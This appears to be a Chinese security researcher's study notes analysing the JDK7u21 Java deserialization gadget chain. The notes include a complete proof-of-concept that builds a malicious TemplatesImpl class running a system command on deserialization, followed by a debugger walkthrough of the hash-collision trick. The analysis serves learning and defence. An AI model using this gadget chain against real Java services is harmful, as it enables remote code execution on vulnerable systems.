JDK7U21:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

  1. <!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
  2. <dependency>
  3. <groupId>org.javassist</groupId>
  4. <artifactId>javassist</artifactId>
  5. <version>3.25.0-GA</version>
  6. </dependency>

LinkedHashSet

LinkedHashSet也是Set接口的一个实现,它类似于HashSet和TreeSet,除了下面提到的差异:

  1. HashSet不保持其元素的任何顺序。
  2. TreeSet按升序对元素进行排序。
  3. LinkedHashSet保持插入顺序。元素按照添加到Set中的相同顺序进行排序。 ```java package com.yq1ng.jdk;

import java.util.HashSet; import java.util.LinkedHashSet; import java.util.TreeSet;

/**

  • @author ying
  • @Description
  • @create 2021-12-01 5:46 PM */

public class LinkedHashSetTest { public static void main(String args[]) { // LinkedHashSet of String Type LinkedHashSet lhset = new LinkedHashSet();

  1. // Adding elements to the LinkedHashSet
  2. lhset.add("Z");
  3. lhset.add("PQ");
  4. lhset.add("N");
  5. lhset.add("O");
  6. lhset.add("KK");
  7. lhset.add("FGH");
  8. System.out.println("========================LinkedHashSet of String Type======================");
  9. System.out.println(lhset);
  10. // LinkedHashSet of Integer Type
  11. LinkedHashSet<Integer> lhset2 = new LinkedHashSet<Integer>();
  12. // Adding elements
  13. lhset2.add(99);
  14. lhset2.add(7);
  15. lhset2.add(0);
  16. lhset2.add(67);
  17. lhset2.add(89);
  18. lhset2.add(66);
  19. System.out.println("========================LinkedHashSet of Integer Type======================");
  20. System.out.println(lhset2);
  21. HashSet hashSet = new HashSet();
  22. hashSet.add(6);
  23. hashSet.add(1);
  24. hashSet.add(0);
  25. hashSet.add(2);
  26. System.out.println("========================HashSet of Integer Type======================");
  27. System.out.println(hashSet);
  28. TreeSet treeSet = new TreeSet();
  29. treeSet.add(2);
  30. treeSet.add(0);
  31. treeSet.add(9);
  32. System.out.println("========================TreeSet of Integer Type======================");
  33. System.out.println(treeSet);
  34. }

}

<a name="OGxoV"></a>
## ![image.png](https://cdn.nlark.com/yuque/0/2021/png/21823809/1638352284076-3a9c3b71-83f4-4293-afb9-b2495f72c7a5.png#clientId=u4c73877c-1a20-4&from=paste&height=768&id=ube9a421e&margin=%5Bobject%20Object%5D&name=image.png&originHeight=768&originWidth=1366&originalType=binary&ratio=1&size=1273783&status=done&style=none&taskId=u760cd54a-080a-4a17-b038-de124928e6d&width=1366)
可以看到 LinkedHashSet 没有对插入的元素进行排序或更改
<a name="KbqpL"></a>
## 分析poc
poc源自:[https://l3yx.github.io/2020/02/22/JDK7u21%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets](https://l3yx.github.io/2020/02/22/JDK7u21%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets)
```java
package com.yq1ng.jdk;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;

/**
 * @author ying
 * @Description
 * @create 2021-12-01 5:11 PM
 */

public class JDK7U21 {
    //序列化
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    //反序列化
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

    //通过反射为obj的属性赋值
    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    //封装了之前对恶意TemplatesImpl类的构造
    private static TemplatesImpl getEvilTemplatesImpl() throws Exception {
        ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
        CtClass cc = pool.makeClass("Evil");//创建Evil类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
        cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
        cc.addConstructor(cons);
        byte[] byteCode = cc.toBytecode();//toBytecode得到Evil类的字节码
        byte[][] targetByteCode = new byte[][]{byteCode};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCode);
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_name", "xx");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = getEvilTemplatesImpl();

        HashMap map = new HashMap();

        //通过反射创建代理使用的handler,AnnotationInvocationHandler作为动态代理的handler
        Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7U21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);

        LinkedHashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        map.put("f5a5a608", templates);

        byte[] obj = serialize(set);
        unserialize(obj);
    }
}

image.png
似乎没什么新鲜的,只多了个LinkedHashSet,直接debug看调用链,但是LinkedHashSet没有readObject()所以断点在java/util/HashSet.java#readObject() 309 行
image.png
这里put的key是构造的templates,value是空Object
image.png
第一次 table 为空,所以直接 addEntry
image.png
第二次 put 进去构造的 proxy
image.png
跟进去
image.png
进来以后就很熟悉了,还是要进入key.equals(k),所以需要 e.hash == hash,而上一次的e.hashhash(templates),先记着后面有用,然后跟进471行hash(key)
image.png
继续跟进,由于 key 是代理对象,所以会进入sun\reflect\annotation\AnnotationInvocationHandler.class#invoke()
image.png
然后跟进48行hashCodeImpl()
image.png

private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }

有点长,放代码了,rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class#hashCodeImpl()这里遍历memberValues,并以此计算key.hashCode(),而 memberValues 是在初始化 AnnotationInvocationHandler 的时候传入的 map,即poc中的InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
但是map我们在最后进行了map.put("f5a5a608", templates);,所以此处memberValues就是"f5a5a608"和 templates

至于为什么最后map.put?是因为java/util/HashSet.java#add()进行了map.put()提前执行了命令,导致后面序列化数据出错

那么var1 += 127 * ((String)var3.getKey()).hashCode() ^ _memberValueHashCode_(var3.getValue())
即是var1 += 127 * "f5a5a608".hashCode() ^ templates.hashCode()
而字符串"f5a5a608"的hashCode为0,cc中算过zZ与yy的hashCode为什么相同,这里我就不算了
所以var1=templates.hashCode()
也即e.hash == hash(怎么像在做数学题???
所以来到key.equals(k),key又是代理对象,所以会再进入rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class#invoke()
image.png
跟进equalsImpl()
image.png
第一个if好理解,第二个this.type是什么
image.png跟一下可以知道this.typethis.memberValues分别Templates.classmap。再看Method[] var2 = this.getMemberMethods();是啥,f7的时候直接跳过了
image.png
由上上图可以知道this.memberMethods = null,所以进入if,返回了this.type的所有方法,也即是 Templates 的所有方法
image.png
回到equalsImpl(),可以看出此for循环就是去调用Templates的所有方法,162行出现一个asOneOfUs()不认识的方法,跟进
image.png
这里判断传入的 var1 是不是代理对象,如果是那就转为 AnnotationInvocationHandler
然后equalsImpl()中的var8 = var5.invoke(var1);就会调用Templates 的所有方法,那就会加载恶意字节码,然后执行命令

end